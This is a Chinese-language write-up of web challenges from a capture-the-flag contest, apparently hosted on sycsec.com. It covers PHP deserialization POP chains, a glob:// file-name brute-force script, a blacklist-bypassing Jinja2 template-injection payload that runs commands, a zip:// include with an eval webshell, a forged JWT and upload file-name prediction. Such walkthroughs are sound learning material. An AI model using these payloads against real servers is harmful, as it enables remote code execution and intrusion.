#https://x64n15yejrv1auhzo7nkm4zct.node.game.sycsec.com/havefun.php/key.php/%ff?user=C%3A11%3A%22ArrayObject%22%3A473%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A7%3A%22useless%22%3A2%3A%7Bs%3A2%3A%22QW%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A1%3A%221%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22E%3A%5Ca.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A9%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A3%3A%22YXX%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A1%3A%221%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22E%3A%5Ca.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A9%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D&a=PHP_SELF

最终得到一段加密的数据,太长了我就不贴了,将数据base64解密保存成图片,得到key和hername

cyberchef

pop_two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Me {
public $qwe;
public $bro;
public $secret;
}

class her{
public $hername;
public $key;
public $asd;
}

class important{
public $power;
}

class useless {
public $seeyou ;
public $QW;
public $YXX;
}

$a = new Me();
$a->bro = &$a->secret;
$b = new her();
$a->qwe = $b;
$c = new important();
$d = new useless('deadbeef');
// $d->good=array("seeyou"=>"phpinfo") ;
$cc = new her();
$cc->key=9;
$cc->hername="momo";
$method = [$cc, 'find'];
$d->seeyou= array("seeyou"=>$method) ;
$c->power = $d;
$b ->asd = $c;
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
echo (serialize(($oa)));
?>

#C:11:"ArrayObject":345:{x:i:0;a:1:{s:4:"evil";O:2:"Me":3:{s:3:"qwe";O:3:"her":3:{s:7:"hername";N;s:3:"key";N;s:3:"asd";O:9:"important":1:{s:5:"power";O:7:"useless":4:{s:6:"seeyou";a:1:{s:6:"seeyou";a:2:{i:0;O:3:"her":3:{s:7:"hername";s:4:"momo";s:3:"key";i:9;s:3:"asd";N;}i:1;s:4:"find";}}s:2:"QW";N;s:3:"YXX";N;s:4:"good";N;}}}s:3:"bro";N;s:6:"secret";R:20;}};m:a:0:{}}

这条pop链踩了坑,第一就是,对象里只写属性值,不要再写其他的不然会有影响;

__sleep: 该函数必须返回一个需要进行序列化保存的成员属性数组 //并且只序列化该函数返回的这些成员属性

__get: 获得一个类中不可访问的成员变量时(未定义或私有属性)

在PHP中,你可以使用可调用的数组来将对象的方法赋值给变量。这可以通过将对象和方法名作为数组的元素来实现。以下是一个示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
class MyClass {
public function myMethod() {
echo "Hello, world!";
}
}

$obj = new MyClass();
$func = [$obj, 'myMethod'];

// 现在 $func 变量包含了 MyClass 对象的 myMethod 方法

// 调用该方法
$func();

这条链有意思,使得将her对象的find函数赋值给useless对象的seeyou变量,然后$this->good不用管,$this->good为空,会执行$good().$good是由important对象传过来的seeyou,而seeyou已经被赋值为了her对象的find函数,就会去执行find函数,

再用data协议绕过,

1
file=data:text/plain;base64,bG92ZXlvdQ==

再用原生类绕过,这道题用了两次php原生类。

GlobIterator得到flag的文件名和路径.SplFileObject读文件,只能读取文件的第一行内容,配合php://filter拿到文件所有内容

1
2
3
4
5
6
7
GET :fun=./f*
POST: ctf=GlobIterator
#flag_my_baby.php


GET:fun=php://filter/read=convert.base64-encode/resource=flag_my_baby.php
POST :ctf=SplFileObject

Akane!

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
public $Ruby;
private $Aquamarine;

public function __destruct()
{
$this->Ruby->func();
}
}

class Idol
{
public $Akane;

public function __wakeup()
{
$this->Akane = '/var/www/html/The************************.php';
}

public function __call($method,$args)
{
$Kana = count(scandir($this->Akane));
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
}
}

$a = unserialize(base64_decode($_GET['tuizi']));

?>

考的序列化,pop链也足够明显 :,

1
Hoshino(__destruct) -> Idol(__call)

但是没有找到任何可以命令执行的地方,然后我就去dirsearch ,也没有任何东西;

再仔细分析源码,pop链肯定是固定的这一点不用想,分析分析__call到底在干什么?

  1. scandir列出 $this->Akane 目录中的文件和目录,返回的是一个数组
  2. count 返回数组中元素的数目
  3. glob:// — 查找匹配的文件路径模式

Example

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
echo "</br>";
echo count(scandir($_GET['file']));
echo "</br>";
var_dump(scandir($_GET['file']))
?>
1
2
3
4
5
http://127.0.0.1/test002.php?file=glob://f*

#输出如下:
2
array(2) { [0]=> string(4) "flag" [1]=> string(8) "flag.php" }

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import base64
base_url ="https://jn5lthd6e8wksjfi6mpuosppa.node.game.sycsec.com/?tuizi="
str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"

def base64_encode(string):
# 将字符串编码为 bytes 对象
string_bytes = string.encode('utf-8')
# 使用 base64 模块进行编码
encoded_bytes = base64.b64encode(string_bytes)
# 将编码后的 bytes 对象转换为字符串
encoded_string = encoded_bytes.decode('utf-8')
return encoded_string

zifu = ""
for i in range(100):
k = i+30
data = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{k}:"glob:///var/www/html/The*.php";}}s:19:"HoshinoAquamarine";N;}}'
zz = "glob:///var/www/html/The" +zifu +"*.php"
if (len(zz) != k-1):
break
for j in range(len(str)):
insert_string = zifu+str[j]
print(zifu)
start_index = data.find("The"+zifu)
insert_index = data.find("*.php")
if insert_index != -1:
# 在找到的位置之前插入字符串
modified_string = data[:insert_index] + insert_string + data[insert_index:]
base_data = base64_encode(modified_string)
url= base_url+base_data
res = requests.get(url=url)
if (len(res.text) ==4120):
print("success")
zifu=zifu +str[j]
print(zifu)
#print(url)
break
else:
print("未找到插入位置")
print("字符:"+zifu)

#字符:S4crEtF1AgFi1EByo2takuXX

访问TheS4crEtF1AgFi1EByo2takuXX.php得到flag

klf_3

source code

再比赛中是看不到源码的,是我后来可以rce后,cat app.py得到源码的,为了方便写wp,就贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import re
import os

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():

name = request.args.get('klf', '')
template = f'''
<html>
<body>
<h1>找到secr3t了,但是找不到flag你还是个klf</h1>
<h1>%s</h1>
</body>
</html>
<img src=\"https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/8.jpg\" alt="g">
<!--klf?-->
<!-- klf还想要flag?没那么容易 -->

'''
bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr',
'request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/',
'flashed', 'os', 'open', 'read', 'count', '*', '43', '45', '38', '124', '47', '59', '99', '100', 'cat', '~',
':', 'not', '0', 'length', 'index', '-', 'ord', '37', '94', '96', '48', '49', '50', '51', '52', '53', '54',
'55', '56', '57',
'58', '59', '[', ']', '@', '^', '#']
for i in bl:
if i in name:
return render_template('klf.html')
#return "真是klf!!!回去多学学啦"

pattern = r"\s*\)\s*\)"
match = re.search(pattern, name)
pattern2 = r"\s*\)\s*(,)?\s*\)"
match2 = re.search(pattern2, name)
pattern3 = r"\s*\)\s*\)\s*\|"
match3 = re.search(pattern3, name)
pattern4 = r"\s*,\s*\)\s*\)\s*\|"
match4 = re.search(pattern4, name)

pattern_mo = r"\d+\s*%\s*\d+|[a-zA-Z]+\s*%\s*[a-zA-Z]+"
matche_mo = re.search(pattern_mo, name)

if match:
if match2.group(1):
return render_template('klf.html')
elif match4:
return render_template('klf.html')
elif match3:
return render_template_string(template % name)
else:
return render_template('klf.html')

# 输出匹配的结果
if matche_mo :
return render_template('klf.html')


a=render_template_string(template % name)
if "{" in a:
return a + render_template('win.html')
return a
@app.route('/robots.txt', methods=['GET'])
def robots():
return send_from_directory(os.path.join(app.root_path, 'static'),
'robots.txt', mimetype='text/plain')




if __name__ == '__main__':
app.run(host='0.0.0.0', port=7888, debug=False)

还是可以用klf_2的解法解决,不可以用“))”,只需要从klf_2的exp改一下就好了,也是侥幸拿了一个一血

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{% set po=dict(po=a,p=b)|join%} 
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{% set pp=dict(po=a,pen=b)|join %}
{% set re=dict(re=a,ad=b)|join%}

{% set kon=(()|select|string|list)|attr(po)(17)%}
{% set dian=(g|string|list)|attr(po)(6)%}


{% set qian=dict(p=a)|join%}
{% set hou=dict(p=a,y=b)|join%}
{% set ming=(kon,kon,dict(ap=a,p=b)|join,dian,hou)|join()%}
{% set cmd=(dict(ca=a,t=b)|join,ming)|join()%}

{% set a=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(cmd)|attr(re)()%}
{% set bb=(a|string|list)|attr(po)(246)%}

{% set ho=(dict(ap=a,p=b))|join%}
{% set fl=(dict(fl4gfl4g=a,fl4g=b))|join%}
{% set cmd=(dict(ca=a,t=b)|join,kon,bb,ho,bb,fl)|join%}
{% set res =()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(cmd)|attr(re)()%}
{% print(res) %}

famale_imp_l0ve

只能上传zip文件,而且存在一处文件包含,限制了后缀必须为.jpg;这题的php环境是5.6;\x00的截断在php>5.3.4就没用了

1
2
3
4
5
6
7
8
9
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

在php中 zip://test.zip#1.png是什么意思?

在PHP中,zip://test.zip#1.png是一种URL封装协议,它允许你像访问本地文件一样访问ZIP存档中的文件。在这个例子中,zip://表示使用ZIP协议,test.zip是ZIP存档的文件名,#1.png表示存档中的文件路径。因此,zip://test.zip#1.png意味着你正在引用test.zip存档中的1.png文件。

新建一个文件 1.jpg
图片内容即可为需要执行的命令,如<?php eval($_POST[1]); ?>
打包成zip

include.php?file=zip://upload/3.zip%231.jpg

change_it

source code

1
2
3
4
 <!--
用户名为:user
密码也为:user
-->

登陆之后没有权限上传文件,查看cookie是一段jwt加密,没什么好说的直接用工具跑出key

1
2
key : "yibao"
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek

现在有权限上传任意文件了,但是只知道文件上传在upload下,不知道文件名,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = time();
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}

这代码很明显了,只要知道time的时间戳,既可以知道文件名,

poc

解释一下我的脚本:设置一个十秒的时间戳,在这十秒之内上传一个文件必定可以中一个文件的时间戳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
highlight_file(__FILE__);
function php_mt_seed($seed)
{
mt_srand($seed);
}
for ($j = 0; $j < 10; $j++){
$seed = time();
php_mt_seed($seed);
sleep(1);
echo $seed.": ";
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
echo $newFileName."</br>";
}

运行这个脚本,在十秒之内上传一个木马文件即可,然后脚本会根据十个时间戳输出十个文件名,其中必定会中一个文件名

flag保卫战(待复现)

ezrfi(待复现)

scan_tool(待复现)

ez_sql(待复现)

EZ_Smuggling(待复现)

java(待复现)